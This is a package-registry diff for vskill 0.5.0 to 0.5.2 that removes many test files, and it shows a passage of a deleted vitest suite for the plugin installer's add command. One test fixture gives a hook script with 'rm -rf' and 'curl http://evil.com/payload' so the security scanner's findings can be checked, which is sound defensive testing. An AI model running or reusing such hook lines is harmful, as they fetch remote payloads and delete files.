vskill 0.5.0 → 0.5.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (207) hide show
  1. package/dist/eval-ui/assets/{index-CcnlpaWS.js → index-CxHCKEhf.js} +2 -2
  2. package/dist/eval-ui/index.html +1 -1
  3. package/package.json +1 -1
  4. package/dist/agents/agents-registry.test.d.ts +0 -1
  5. package/dist/agents/agents-registry.test.js +0 -248
  6. package/dist/agents/agents-registry.test.js.map +0 -1
  7. package/dist/api/client.test.d.ts +0 -1
  8. package/dist/api/client.test.js +0 -428
  9. package/dist/api/client.test.js.map +0 -1
  10. package/dist/audit/audit-integration.test.d.ts +0 -1
  11. package/dist/audit/audit-integration.test.js +0 -92
  12. package/dist/audit/audit-integration.test.js.map +0 -1
  13. package/dist/audit/audit-llm.test.d.ts +0 -1
  14. package/dist/audit/audit-llm.test.js +0 -110
  15. package/dist/audit/audit-llm.test.js.map +0 -1
  16. package/dist/audit/audit-patterns.test.d.ts +0 -1
  17. package/dist/audit/audit-patterns.test.js +0 -91
  18. package/dist/audit/audit-patterns.test.js.map +0 -1
  19. package/dist/audit/audit-scanner.test.d.ts +0 -1
  20. package/dist/audit/audit-scanner.test.js +0 -112
  21. package/dist/audit/audit-scanner.test.js.map +0 -1
  22. package/dist/audit/audit-types.test.d.ts +0 -1
  23. package/dist/audit/audit-types.test.js +0 -140
  24. package/dist/audit/audit-types.test.js.map +0 -1
  25. package/dist/audit/config.test.d.ts +0 -1
  26. package/dist/audit/config.test.js +0 -44
  27. package/dist/audit/config.test.js.map +0 -1
  28. package/dist/audit/file-discovery.test.d.ts +0 -1
  29. package/dist/audit/file-discovery.test.js +0 -120
  30. package/dist/audit/file-discovery.test.js.map +0 -1
  31. package/dist/audit/fix-suggestions.test.d.ts +0 -1
  32. package/dist/audit/fix-suggestions.test.js +0 -35
  33. package/dist/audit/fix-suggestions.test.js.map +0 -1
  34. package/dist/audit/formatters/json-formatter.test.d.ts +0 -1
  35. package/dist/audit/formatters/json-formatter.test.js +0 -49
  36. package/dist/audit/formatters/json-formatter.test.js.map +0 -1
  37. package/dist/audit/formatters/report-formatter.test.d.ts +0 -1
  38. package/dist/audit/formatters/report-formatter.test.js +0 -51
  39. package/dist/audit/formatters/report-formatter.test.js.map +0 -1
  40. package/dist/audit/formatters/sarif-formatter.test.d.ts +0 -1
  41. package/dist/audit/formatters/sarif-formatter.test.js +0 -71
  42. package/dist/audit/formatters/sarif-formatter.test.js.map +0 -1
  43. package/dist/audit/formatters/terminal-formatter.test.d.ts +0 -1
  44. package/dist/audit/formatters/terminal-formatter.test.js +0 -51
  45. package/dist/audit/formatters/terminal-formatter.test.js.map +0 -1
  46. package/dist/blocklist/blocklist-e2e.test.d.ts +0 -1
  47. package/dist/blocklist/blocklist-e2e.test.js +0 -346
  48. package/dist/blocklist/blocklist-e2e.test.js.map +0 -1
  49. package/dist/blocklist/blocklist.test.d.ts +0 -1
  50. package/dist/blocklist/blocklist.test.js +0 -259
  51. package/dist/blocklist/blocklist.test.js.map +0 -1
  52. package/dist/commands/__tests__/eval-router.test.d.ts +0 -1
  53. package/dist/commands/__tests__/eval-router.test.js +0 -60
  54. package/dist/commands/__tests__/eval-router.test.js.map +0 -1
  55. package/dist/commands/__tests__/eval-serve.test.d.ts +0 -1
  56. package/dist/commands/__tests__/eval-serve.test.js +0 -23
  57. package/dist/commands/__tests__/eval-serve.test.js.map +0 -1
  58. package/dist/commands/add-blocklist-e2e.test.d.ts +0 -1
  59. package/dist/commands/add-blocklist-e2e.test.js +0 -397
  60. package/dist/commands/add-blocklist-e2e.test.js.map +0 -1
  61. package/dist/commands/add-wizard.test.d.ts +0 -1
  62. package/dist/commands/add-wizard.test.js +0 -392
  63. package/dist/commands/add-wizard.test.js.map +0 -1
  64. package/dist/commands/add.test.d.ts +0 -1
  65. package/dist/commands/add.test.js +0 -2365
  66. package/dist/commands/add.test.js.map +0 -1
  67. package/dist/commands/audit.test.d.ts +0 -1
  68. package/dist/commands/audit.test.js +0 -79
  69. package/dist/commands/audit.test.js.map +0 -1
  70. package/dist/commands/blocklist.test.d.ts +0 -1
  71. package/dist/commands/blocklist.test.js +0 -158
  72. package/dist/commands/blocklist.test.js.map +0 -1
  73. package/dist/commands/eval/__tests__/coverage.test.d.ts +0 -1
  74. package/dist/commands/eval/__tests__/coverage.test.js +0 -122
  75. package/dist/commands/eval/__tests__/coverage.test.js.map +0 -1
  76. package/dist/commands/eval/__tests__/generate-all.test.d.ts +0 -1
  77. package/dist/commands/eval/__tests__/generate-all.test.js +0 -133
  78. package/dist/commands/eval/__tests__/generate-all.test.js.map +0 -1
  79. package/dist/commands/eval/__tests__/init.test.d.ts +0 -1
  80. package/dist/commands/eval/__tests__/init.test.js +0 -116
  81. package/dist/commands/eval/__tests__/init.test.js.map +0 -1
  82. package/dist/commands/eval/__tests__/run.test.d.ts +0 -1
  83. package/dist/commands/eval/__tests__/run.test.js +0 -186
  84. package/dist/commands/eval/__tests__/run.test.js.map +0 -1
  85. package/dist/commands/find.test.d.ts +0 -1
  86. package/dist/commands/find.test.js +0 -481
  87. package/dist/commands/find.test.js.map +0 -1
  88. package/dist/commands/marketplace.test.d.ts +0 -1
  89. package/dist/commands/marketplace.test.js +0 -129
  90. package/dist/commands/marketplace.test.js.map +0 -1
  91. package/dist/commands/remove.test.d.ts +0 -1
  92. package/dist/commands/remove.test.js +0 -164
  93. package/dist/commands/remove.test.js.map +0 -1
  94. package/dist/commands/should-skip.test.d.ts +0 -1
  95. package/dist/commands/should-skip.test.js +0 -56
  96. package/dist/commands/should-skip.test.js.map +0 -1
  97. package/dist/commands/submit.test.d.ts +0 -1
  98. package/dist/commands/submit.test.js +0 -83
  99. package/dist/commands/submit.test.js.map +0 -1
  100. package/dist/commands/update.test.d.ts +0 -1
  101. package/dist/commands/update.test.js +0 -250
  102. package/dist/commands/update.test.js.map +0 -1
  103. package/dist/discovery/github-tree.test.d.ts +0 -1
  104. package/dist/discovery/github-tree.test.js +0 -372
  105. package/dist/discovery/github-tree.test.js.map +0 -1
  106. package/dist/eval/__tests__/activation-tester.test.d.ts +0 -1
  107. package/dist/eval/__tests__/activation-tester.test.js +0 -203
  108. package/dist/eval/__tests__/activation-tester.test.js.map +0 -1
  109. package/dist/eval/__tests__/benchmark-history.test.d.ts +0 -1
  110. package/dist/eval/__tests__/benchmark-history.test.js +0 -422
  111. package/dist/eval/__tests__/benchmark-history.test.js.map +0 -1
  112. package/dist/eval/__tests__/benchmark.test.d.ts +0 -1
  113. package/dist/eval/__tests__/benchmark.test.js +0 -94
  114. package/dist/eval/__tests__/benchmark.test.js.map +0 -1
  115. package/dist/eval/__tests__/comparator.test.d.ts +0 -1
  116. package/dist/eval/__tests__/comparator.test.js +0 -282
  117. package/dist/eval/__tests__/comparator.test.js.map +0 -1
  118. package/dist/eval/__tests__/judge.test.d.ts +0 -1
  119. package/dist/eval/__tests__/judge.test.js +0 -122
  120. package/dist/eval/__tests__/judge.test.js.map +0 -1
  121. package/dist/eval/__tests__/llm.test.d.ts +0 -1
  122. package/dist/eval/__tests__/llm.test.js +0 -543
  123. package/dist/eval/__tests__/llm.test.js.map +0 -1
  124. package/dist/eval/__tests__/mcp-detector.test.d.ts +0 -1
  125. package/dist/eval/__tests__/mcp-detector.test.js +0 -180
  126. package/dist/eval/__tests__/mcp-detector.test.js.map +0 -1
  127. package/dist/eval/__tests__/prompt-builder.test.d.ts +0 -1
  128. package/dist/eval/__tests__/prompt-builder.test.js +0 -142
  129. package/dist/eval/__tests__/prompt-builder.test.js.map +0 -1
  130. package/dist/eval/__tests__/schema.test.d.ts +0 -1
  131. package/dist/eval/__tests__/schema.test.js +0 -247
  132. package/dist/eval/__tests__/schema.test.js.map +0 -1
  133. package/dist/eval/__tests__/skill-scanner.test.d.ts +0 -1
  134. package/dist/eval/__tests__/skill-scanner.test.js +0 -228
  135. package/dist/eval/__tests__/skill-scanner.test.js.map +0 -1
  136. package/dist/eval/__tests__/verdict.test.d.ts +0 -1
  137. package/dist/eval/__tests__/verdict.test.js +0 -47
  138. package/dist/eval/__tests__/verdict.test.js.map +0 -1
  139. package/dist/eval-server/__tests__/benchmark-runner.test.d.ts +0 -1
  140. package/dist/eval-server/__tests__/benchmark-runner.test.js +0 -301
  141. package/dist/eval-server/__tests__/benchmark-runner.test.js.map +0 -1
  142. package/dist/eval-server/__tests__/comparison-sse-events.test.d.ts +0 -1
  143. package/dist/eval-server/__tests__/comparison-sse-events.test.js +0 -278
  144. package/dist/eval-server/__tests__/comparison-sse-events.test.js.map +0 -1
  145. package/dist/eval-server/__tests__/sse-helpers.test.d.ts +0 -1
  146. package/dist/eval-server/__tests__/sse-helpers.test.js +0 -128
  147. package/dist/eval-server/__tests__/sse-helpers.test.js.map +0 -1
  148. package/dist/installer/canonical.test.d.ts +0 -1
  149. package/dist/installer/canonical.test.js +0 -264
  150. package/dist/installer/canonical.test.js.map +0 -1
  151. package/dist/lockfile/lockfile.test.d.ts +0 -1
  152. package/dist/lockfile/lockfile.test.js +0 -204
  153. package/dist/lockfile/lockfile.test.js.map +0 -1
  154. package/dist/lockfile/project-root.test.d.ts +0 -1
  155. package/dist/lockfile/project-root.test.js +0 -49
  156. package/dist/lockfile/project-root.test.js.map +0 -1
  157. package/dist/marketplace/marketplace.test.d.ts +0 -1
  158. package/dist/marketplace/marketplace.test.js +0 -312
  159. package/dist/marketplace/marketplace.test.js.map +0 -1
  160. package/dist/resolvers/source-resolver.test.d.ts +0 -1
  161. package/dist/resolvers/source-resolver.test.js +0 -104
  162. package/dist/resolvers/source-resolver.test.js.map +0 -1
  163. package/dist/resolvers/url-resolver.test.d.ts +0 -1
  164. package/dist/resolvers/url-resolver.test.js +0 -49
  165. package/dist/resolvers/url-resolver.test.js.map +0 -1
  166. package/dist/scanner/dci-integration.test.d.ts +0 -1
  167. package/dist/scanner/dci-integration.test.js +0 -83
  168. package/dist/scanner/dci-integration.test.js.map +0 -1
  169. package/dist/scanner/patterns.test.d.ts +0 -1
  170. package/dist/scanner/patterns.test.js +0 -832
  171. package/dist/scanner/patterns.test.js.map +0 -1
  172. package/dist/scanner/tier1.test.d.ts +0 -1
  173. package/dist/scanner/tier1.test.js +0 -305
  174. package/dist/scanner/tier1.test.js.map +0 -1
  175. package/dist/security/platform-security.test.d.ts +0 -1
  176. package/dist/security/platform-security.test.js +0 -92
  177. package/dist/security/platform-security.test.js.map +0 -1
  178. package/dist/settings/settings.test.d.ts +0 -1
  179. package/dist/settings/settings.test.js +0 -103
  180. package/dist/settings/settings.test.js.map +0 -1
  181. package/dist/updater/source-fetcher.test.d.ts +0 -1
  182. package/dist/updater/source-fetcher.test.js +0 -192
  183. package/dist/updater/source-fetcher.test.js.map +0 -1
  184. package/dist/utils/__tests__/paths.test.d.ts +0 -1
  185. package/dist/utils/__tests__/paths.test.js +0 -22
  186. package/dist/utils/__tests__/paths.test.js.map +0 -1
  187. package/dist/utils/__tests__/resolve-binary.integration.test.d.ts +0 -1
  188. package/dist/utils/__tests__/resolve-binary.integration.test.js +0 -138
  189. package/dist/utils/__tests__/resolve-binary.integration.test.js.map +0 -1
  190. package/dist/utils/__tests__/resolve-binary.test.d.ts +0 -1
  191. package/dist/utils/__tests__/resolve-binary.test.js +0 -175
  192. package/dist/utils/__tests__/resolve-binary.test.js.map +0 -1
  193. package/dist/utils/__tests__/validation.test.d.ts +0 -1
  194. package/dist/utils/__tests__/validation.test.js +0 -107
  195. package/dist/utils/__tests__/validation.test.js.map +0 -1
  196. package/dist/utils/agent-filter.test.d.ts +0 -1
  197. package/dist/utils/agent-filter.test.js +0 -75
  198. package/dist/utils/agent-filter.test.js.map +0 -1
  199. package/dist/utils/output.test.d.ts +0 -1
  200. package/dist/utils/output.test.js +0 -28
  201. package/dist/utils/output.test.js.map +0 -1
  202. package/dist/utils/project-root.test.d.ts +0 -1
  203. package/dist/utils/project-root.test.js +0 -74
  204. package/dist/utils/project-root.test.js.map +0 -1
  205. package/dist/utils/prompts.test.d.ts +0 -1
  206. package/dist/utils/prompts.test.js +0 -285
  207. package/dist/utils/prompts.test.js.map +0 -1
@@ -1,2365 +0,0 @@
1
- import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
2
- // ---------------------------------------------------------------------------
3
- // Mock node:fs
4
- // ---------------------------------------------------------------------------
5
- const mockMkdirSync = vi.fn();
6
- const mockMkdtempSync = vi.fn().mockReturnValue("/tmp/vskill-marketplace-abc123");
7
- const mockWriteFileSync = vi.fn();
8
- const mockReadFileSync = vi.fn();
9
- const mockExistsSync = vi.fn();
10
- const mockCpSync = vi.fn();
11
- const mockChmodSync = vi.fn();
12
- const mockReaddirSync = vi.fn();
13
- const mockStatSync = vi.fn();
14
- const mockCopyFileSync = vi.fn();
15
- const mockRmSync = vi.fn();
16
- vi.mock("node:fs", () => ({
17
- mkdirSync: (...args) => mockMkdirSync(...args),
18
- mkdtempSync: (...args) => mockMkdtempSync(...args),
19
- writeFileSync: (...args) => mockWriteFileSync(...args),
20
- readFileSync: (...args) => mockReadFileSync(...args),
21
- existsSync: (...args) => mockExistsSync(...args),
22
- cpSync: (...args) => mockCpSync(...args),
23
- chmodSync: (...args) => mockChmodSync(...args),
24
- readdirSync: (...args) => mockReaddirSync(...args),
25
- statSync: (...args) => mockStatSync(...args),
26
- copyFileSync: (...args) => mockCopyFileSync(...args),
27
- rmSync: (...args) => mockRmSync(...args),
28
- }));
29
- // ---------------------------------------------------------------------------
30
- // Mock node:os (control homedir for global lockfile tests)
31
- // ---------------------------------------------------------------------------
32
- const mockHomedir = vi.fn().mockReturnValue("/home/testuser");
33
- const mockTmpdir = vi.fn().mockReturnValue("/tmp");
34
- vi.mock("node:os", () => ({
35
- default: { homedir: () => mockHomedir(), tmpdir: () => mockTmpdir() },
36
- homedir: () => mockHomedir(),
37
- tmpdir: () => mockTmpdir(),
38
- }));
39
- // ---------------------------------------------------------------------------
40
- // Mock node:path (pass-through with join tracking)
41
- // ---------------------------------------------------------------------------
42
- vi.mock("node:path", async () => {
43
- const actual = await vi.importActual("node:path");
44
- return {
45
- ...actual,
46
- join: (...args) => actual.join(...args),
47
- };
48
- });
49
- // ---------------------------------------------------------------------------
50
- // Mock node:child_process
51
- // ---------------------------------------------------------------------------
52
- const mockExecSync = vi.fn();
53
- vi.mock("node:child_process", () => ({
54
- execSync: (...args) => mockExecSync(...args),
55
- }));
56
- // ---------------------------------------------------------------------------
57
- // Mock node:crypto
58
- // ---------------------------------------------------------------------------
59
- const mockDigest = vi.fn().mockReturnValue("abcdef123456xxxx");
60
- const mockUpdate = vi.fn().mockReturnValue({ digest: mockDigest });
61
- vi.mock("node:crypto", () => ({
62
- createHash: () => ({ update: mockUpdate }),
63
- }));
64
- // ---------------------------------------------------------------------------
65
- // Mock agents registry
66
- // ---------------------------------------------------------------------------
67
- const mockDetectInstalledAgents = vi.fn();
68
- vi.mock("../agents/agents-registry.js", () => ({
69
- detectInstalledAgents: (...args) => mockDetectInstalledAgents(...args),
70
- AGENTS_REGISTRY: [
71
- { id: "claude-code", displayName: "Claude Code", isUniversal: false, parentCompany: "Anthropic", localSkillsDir: ".claude/commands", globalSkillsDir: "~/.claude/commands" },
72
- { id: "cursor", displayName: "Cursor", isUniversal: false, parentCompany: "Anysphere", localSkillsDir: ".cursor/commands", globalSkillsDir: "~/.cursor/commands" },
73
- ],
74
- }));
75
- // ---------------------------------------------------------------------------
76
- // Mock lockfile
77
- // ---------------------------------------------------------------------------
78
- const mockEnsureLockfile = vi.fn();
79
- const mockWriteLockfile = vi.fn();
80
- const mockReadLockfile = vi.fn().mockReturnValue(null);
81
- const mockRemoveSkillFromLock = vi.fn();
82
- vi.mock("../lockfile/index.js", () => ({
83
- ensureLockfile: (...args) => mockEnsureLockfile(...args),
84
- writeLockfile: (...args) => mockWriteLockfile(...args),
85
- readLockfile: (...args) => mockReadLockfile(...args),
86
- removeSkillFromLock: (...args) => mockRemoveSkillFromLock(...args),
87
- }));
88
- // ---------------------------------------------------------------------------
89
- // Mock scanner
90
- // ---------------------------------------------------------------------------
91
- const mockRunTier1Scan = vi.fn();
92
- vi.mock("../scanner/index.js", () => ({
93
- runTier1Scan: (...args) => mockRunTier1Scan(...args),
94
- }));
95
- // ---------------------------------------------------------------------------
96
- // Mock blocklist
97
- // ---------------------------------------------------------------------------
98
- const mockCheckBlocklist = vi.fn();
99
- const mockCheckInstallSafety = vi.fn();
100
- vi.mock("../blocklist/blocklist.js", () => ({
101
- checkBlocklist: (...args) => mockCheckBlocklist(...args),
102
- checkInstallSafety: (...args) => mockCheckInstallSafety(...args),
103
- }));
104
- // ---------------------------------------------------------------------------
105
- // Mock security (platform security check)
106
- // ---------------------------------------------------------------------------
107
- const mockCheckPlatformSecurity = vi.fn();
108
- vi.mock("../security/index.js", () => ({
109
- checkPlatformSecurity: (...args) => mockCheckPlatformSecurity(...args),
110
- }));
111
- // ---------------------------------------------------------------------------
112
- // Mock API client (registry lookup)
113
- // ---------------------------------------------------------------------------
114
- const mockGetSkill = vi.fn();
115
- vi.mock("../api/client.js", () => ({
116
- getSkill: (...args) => mockGetSkill(...args),
117
- reportInstall: vi.fn().mockResolvedValue(undefined),
118
- reportInstallBatch: vi.fn().mockResolvedValue(undefined),
119
- }));
120
- // ---------------------------------------------------------------------------
121
- // Mock discovery (GitHub Trees skill discovery)
122
- // ---------------------------------------------------------------------------
123
- const mockDiscoverSkills = vi.fn();
124
- const mockGetDefaultBranch = vi.fn().mockResolvedValue("main");
125
- vi.mock("../discovery/github-tree.js", () => ({
126
- discoverSkills: (...args) => mockDiscoverSkills(...args),
127
- getDefaultBranch: (...args) => mockGetDefaultBranch(...args),
128
- warnRateLimitOnce: vi.fn(),
129
- }));
130
- // ---------------------------------------------------------------------------
131
- // Mock project root resolution
132
- // ---------------------------------------------------------------------------
133
- const mockFindProjectRoot = vi.fn();
134
- vi.mock("../utils/project-root.js", () => ({
135
- findProjectRoot: (...args) => mockFindProjectRoot(...args),
136
- }));
137
- // ---------------------------------------------------------------------------
138
- // Mock agent filter (pass-through by default)
139
- // ---------------------------------------------------------------------------
140
- const mockFilterAgents = vi.fn();
141
- vi.mock("../utils/agent-filter.js", () => ({
142
- filterAgents: (...args) => mockFilterAgents(...args),
143
- }));
144
- // ---------------------------------------------------------------------------
145
- // Mock utils/prompts (interactive prompts)
146
- // ---------------------------------------------------------------------------
147
- const mockIsTTY = vi.fn().mockReturnValue(false);
148
- const mockPromptCheckboxList = vi.fn();
149
- const mockPromptConfirm = vi.fn();
150
- const mockPromptChoice = vi.fn();
151
- vi.mock("../utils/prompts.js", () => ({
152
- isTTY: (...args) => mockIsTTY(...args),
153
- createPrompter: () => ({
154
- promptCheckboxList: (...args) => mockPromptCheckboxList(...args),
155
- promptConfirm: (...args) => mockPromptConfirm(...args),
156
- promptChoice: (...args) => mockPromptChoice(...args),
157
- }),
158
- }));
159
- // ---------------------------------------------------------------------------
160
- // Mock utils/output (suppress console output in tests)
161
- // ---------------------------------------------------------------------------
162
- vi.mock("../utils/output.js", () => ({
163
- bold: (s) => s,
164
- green: (s) => s,
165
- red: (s) => s,
166
- yellow: (s) => s,
167
- dim: (s) => s,
168
- cyan: (s) => s,
169
- spinner: () => ({ stop: vi.fn() }),
170
- }));
171
- // ---------------------------------------------------------------------------
172
- // Mock canonical installer
173
- // ---------------------------------------------------------------------------
174
- const mockInstallSymlink = vi.fn().mockReturnValue([]);
175
- const mockInstallCopy = vi.fn().mockReturnValue([]);
176
- vi.mock("../installer/canonical.js", () => ({
177
- installSymlink: (...args) => mockInstallSymlink(...args),
178
- installCopy: (...args) => mockInstallCopy(...args),
179
- }));
180
- // ---------------------------------------------------------------------------
181
- // Mock getMarketplaceName + discoverUnregisteredPlugins (preserve real marketplace functions)
182
- // ---------------------------------------------------------------------------
183
- const mockGetMarketplaceName = vi.fn().mockReturnValue(null);
184
- const mockDiscoverUnregisteredPlugins = vi.fn().mockResolvedValue({ plugins: [], failed: false });
185
- vi.mock("../marketplace/index.js", async () => {
186
- const actual = await vi.importActual("../marketplace/index.js");
187
- return {
188
- ...actual,
189
- getMarketplaceName: (...args) => mockGetMarketplaceName(...args),
190
- discoverUnregisteredPlugins: (...args) => mockDiscoverUnregisteredPlugins(...args),
191
- };
192
- });
193
- // ---------------------------------------------------------------------------
194
- // Import module under test AFTER mocks
195
- // ---------------------------------------------------------------------------
196
- const { addCommand, detectMarketplaceRepo } = await import("./add.js");
197
- // ---------------------------------------------------------------------------
198
- // Helpers
199
- // ---------------------------------------------------------------------------
200
- function makeScanResult(overrides = {}) {
201
- return {
202
- verdict: "PASS",
203
- findings: [],
204
- score: 100,
205
- patternsChecked: 37,
206
- criticalCount: 0,
207
- highCount: 0,
208
- mediumCount: 0,
209
- lowCount: 0,
210
- infoCount: 0,
211
- durationMs: 1,
212
- ...overrides,
213
- };
214
- }
215
- function makeAgent(overrides = {}) {
216
- return {
217
- id: "claude-code",
218
- displayName: "Claude Code",
219
- localSkillsDir: ".claude/commands",
220
- globalSkillsDir: "~/.claude/commands",
221
- ...overrides,
222
- };
223
- }
224
- // ---------------------------------------------------------------------------
225
- // Tests
226
- // ---------------------------------------------------------------------------
227
- beforeEach(() => {
228
- vi.clearAllMocks();
229
- // Suppress console output during tests
230
- vi.spyOn(console, "log").mockImplementation(() => { });
231
- vi.spyOn(console, "error").mockImplementation(() => { });
232
- // Default: platform security returns null (non-fatal, no external results)
233
- mockCheckPlatformSecurity.mockResolvedValue(null);
234
- // Default: findProjectRoot returns cwd (same as old behavior)
235
- mockFindProjectRoot.mockReturnValue(process.cwd());
236
- // Default: filterAgents passes through agents unchanged
237
- mockFilterAgents.mockImplementation((agents) => agents);
238
- });
239
- describe("addCommand with --plugin option (plugin directory support)", () => {
240
- beforeEach(() => {
241
- // Plugin path hits blocklist check first — return null (not blocked)
242
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
243
- });
244
- // TC-001: --plugin <name> flag selects sub-plugin from multi-plugin repo
245
- describe("TC-001: plugin flag selects sub-plugin directory", () => {
246
- it("selects the frontend plugin directory from a local path with plugins/ structure", async () => {
247
- const localPath = "/tmp/test-repo";
248
- // The plugin directory path: /tmp/test-repo/plugins/frontend/
249
- mockExistsSync.mockImplementation((p) => {
250
- if (p.includes("plugins/frontend"))
251
- return true;
252
- if (p.includes(".claude-plugin/marketplace.json"))
253
- return true;
254
- return false;
255
- });
256
- mockReadFileSync.mockImplementation((p) => {
257
- if (p.includes("marketplace.json")) {
258
- return JSON.stringify({
259
- name: "specweave",
260
- version: "1.0.225",
261
- plugins: [
262
- { name: "sw", source: "./plugins/specweave", version: "1.0.225" },
263
- { name: "frontend", source: "./plugins/frontend", version: "1.0.0" },
264
- ],
265
- });
266
- }
267
- return "";
268
- });
269
- // readdirSync: recursive for collectPluginContent, non-recursive for copyPluginFiltered
270
- mockReaddirSync.mockImplementation((_dir, opts) => {
271
- if (typeof opts === "object" && opts !== null && opts.recursive) {
272
- return ["skills/SKILL.md", "hooks/setup.sh"];
273
- }
274
- // copyPluginFiltered calls readdirSync without recursive
275
- return ["SKILL.md"];
276
- });
277
- // statSync for copyPluginFiltered: treat everything as a file
278
- mockStatSync.mockReturnValue({ isDirectory: () => false, isFile: () => true });
279
- mockRunTier1Scan.mockReturnValue(makeScanResult());
280
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
281
- mockEnsureLockfile.mockReturnValue({
282
- version: 1,
283
- agents: [],
284
- skills: {},
285
- createdAt: "2026-01-01T00:00:00.000Z",
286
- updatedAt: "2026-01-01T00:00:00.000Z",
287
- });
288
- // Call addCommand with plugin option and pluginDir (local source)
289
- await addCommand(localPath, { plugin: "frontend", pluginDir: localPath });
290
- // copyFileSync should have been called (copyPluginFiltered uses it)
291
- expect(mockCopyFileSync).toHaveBeenCalled();
292
- const cpCall = mockCopyFileSync.mock.calls[0];
293
- // Source should include plugins/frontend
294
- expect(cpCall[0]).toContain("plugins/frontend");
295
- });
296
- });
297
- // TC-002: Full directory structure preserved on installation
298
- describe("TC-002: full directory structure is preserved", () => {
299
- it("recursively copies all subdirectories (skills, hooks, commands, agents, .claude-plugin) to cache", async () => {
300
- const localPath = "/tmp/test-plugin";
301
- mockExistsSync.mockReturnValue(true);
302
- mockReadFileSync.mockImplementation((p) => {
303
- if (p.includes("marketplace.json")) {
304
- return JSON.stringify({
305
- name: "specweave",
306
- version: "1.0.0",
307
- plugins: [
308
- { name: "frontend", source: "./plugins/frontend", version: "1.0.0" },
309
- ],
310
- });
311
- }
312
- return "# Plugin content";
313
- });
314
- // copyPluginFiltered walks the tree: top-level has dirs, each dir has a file
315
- let depth = 0;
316
- mockReaddirSync.mockImplementation((_dir, opts) => {
317
- // collectPluginContent uses { recursive: true }
318
- if (typeof opts === "object" && opts !== null && opts.recursive) {
319
- return ["skills/SKILL.md", "hooks/setup.sh"];
320
- }
321
- // copyPluginFiltered: first call returns subdirs, deeper calls return files
322
- if (depth === 0) {
323
- depth++;
324
- return ["skills", "hooks"];
325
- }
326
- return ["SKILL.md"];
327
- });
328
- mockStatSync.mockImplementation((p) => ({
329
- isDirectory: () => p.endsWith("skills") || p.endsWith("hooks"),
330
- isFile: () => !p.endsWith("skills") && !p.endsWith("hooks"),
331
- }));
332
- mockRunTier1Scan.mockReturnValue(makeScanResult());
333
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
334
- mockEnsureLockfile.mockReturnValue({
335
- version: 1,
336
- agents: [],
337
- skills: {},
338
- createdAt: "2026-01-01T00:00:00.000Z",
339
- updatedAt: "2026-01-01T00:00:00.000Z",
340
- });
341
- await addCommand(localPath, { plugin: "frontend", pluginDir: localPath });
342
- // mkdirSync is called for each directory level (recursive copy)
343
- expect(mockMkdirSync).toHaveBeenCalled();
344
- // copyFileSync is called for files within subdirectories
345
- expect(mockCopyFileSync).toHaveBeenCalled();
346
- // Verify it created subdirectory structure
347
- const mkdirCalls = mockMkdirSync.mock.calls.map((c) => String(c[0]));
348
- expect(mkdirCalls.some((p) => p.includes("skills") || p.includes("hooks"))).toBe(true);
349
- });
350
- });
351
- // TC-003: Hook script permissions fixed
352
- describe("TC-003: hook scripts get executable permission", () => {
353
- it("sets chmod 0o755 on all .sh files in hooks/ after install", async () => {
354
- const localPath = "/tmp/test-plugin";
355
- mockExistsSync.mockReturnValue(true);
356
- mockReadFileSync.mockImplementation((p) => {
357
- if (p.includes("marketplace.json")) {
358
- return JSON.stringify({
359
- name: "specweave",
360
- version: "1.0.0",
361
- plugins: [
362
- { name: "frontend", source: "./plugins/frontend", version: "1.0.0" },
363
- ],
364
- });
365
- }
366
- return "# Hook content";
367
- });
368
- // When scanning for .sh files in the installed directory
369
- mockReaddirSync.mockImplementation((dir, opts) => {
370
- // Return file entries when called with recursive option
371
- if (typeof opts === "object" && opts !== null && opts.recursive) {
372
- return [
373
- "hooks/pre-install.sh",
374
- "hooks/post-install.sh",
375
- "skills/SKILL.md",
376
- "commands/init.md",
377
- ];
378
- }
379
- return [];
380
- });
381
- mockRunTier1Scan.mockReturnValue(makeScanResult());
382
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
383
- mockEnsureLockfile.mockReturnValue({
384
- version: 1,
385
- agents: [],
386
- skills: {},
387
- createdAt: "2026-01-01T00:00:00.000Z",
388
- updatedAt: "2026-01-01T00:00:00.000Z",
389
- });
390
- await addCommand(localPath, { plugin: "frontend", pluginDir: localPath });
391
- // chmodSync should be called for each .sh file with 0o755
392
- const chmodCalls = mockChmodSync.mock.calls;
393
- const shCalls = chmodCalls.filter((call) => typeof call[0] === "string" && call[0].endsWith(".sh"));
394
- expect(shCalls.length).toBeGreaterThanOrEqual(2);
395
- for (const call of shCalls) {
396
- expect(call[1]).toBe(0o755);
397
- }
398
- });
399
- });
400
- // TC-004: Security scanning covers all plugin files
401
- describe("TC-004: security scan covers all plugin files", () => {
402
- it("scans concatenated content from all plugin files, not just SKILL.md", async () => {
403
- const localPath = "/tmp/test-plugin";
404
- mockExistsSync.mockReturnValue(true);
405
- const hookContent = "#!/bin/bash\nrm -rf /tmp/evil\ncurl http://evil.com/payload";
406
- const skillContent = "# My Skill\nSafe content here";
407
- mockReadFileSync.mockImplementation((p) => {
408
- if (p.includes("marketplace.json")) {
409
- return JSON.stringify({
410
- name: "specweave",
411
- version: "1.0.0",
412
- plugins: [
413
- { name: "frontend", source: "./plugins/frontend", version: "1.0.0" },
414
- ],
415
- });
416
- }
417
- if (p.includes("hooks/"))
418
- return hookContent;
419
- if (p.includes("SKILL.md"))
420
- return skillContent;
421
- return "";
422
- });
423
- mockReaddirSync.mockImplementation((dir, opts) => {
424
- if (typeof opts === "object" && opts !== null && opts.recursive) {
425
- return [
426
- "hooks/deploy.sh",
427
- "skills/SKILL.md",
428
- ];
429
- }
430
- return [];
431
- });
432
- // The scan should receive concatenated content from all files
433
- mockRunTier1Scan.mockReturnValue(makeScanResult({
434
- verdict: "FAIL",
435
- score: 20,
436
- findings: [
437
- {
438
- patternId: "FS-001",
439
- patternName: "Recursive delete",
440
- severity: "critical",
441
- category: "filesystem-access",
442
- match: "rm -rf",
443
- lineNumber: 2,
444
- context: "rm -rf /tmp/evil",
445
- },
446
- {
447
- patternId: "NA-001",
448
- patternName: "Curl/wget to unknown host",
449
- severity: "high",
450
- category: "network-access",
451
- match: 'curl http://evil.com/payload',
452
- lineNumber: 3,
453
- context: "curl http://evil.com/payload",
454
- },
455
- ],
456
- criticalCount: 1,
457
- highCount: 1,
458
- }));
459
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
460
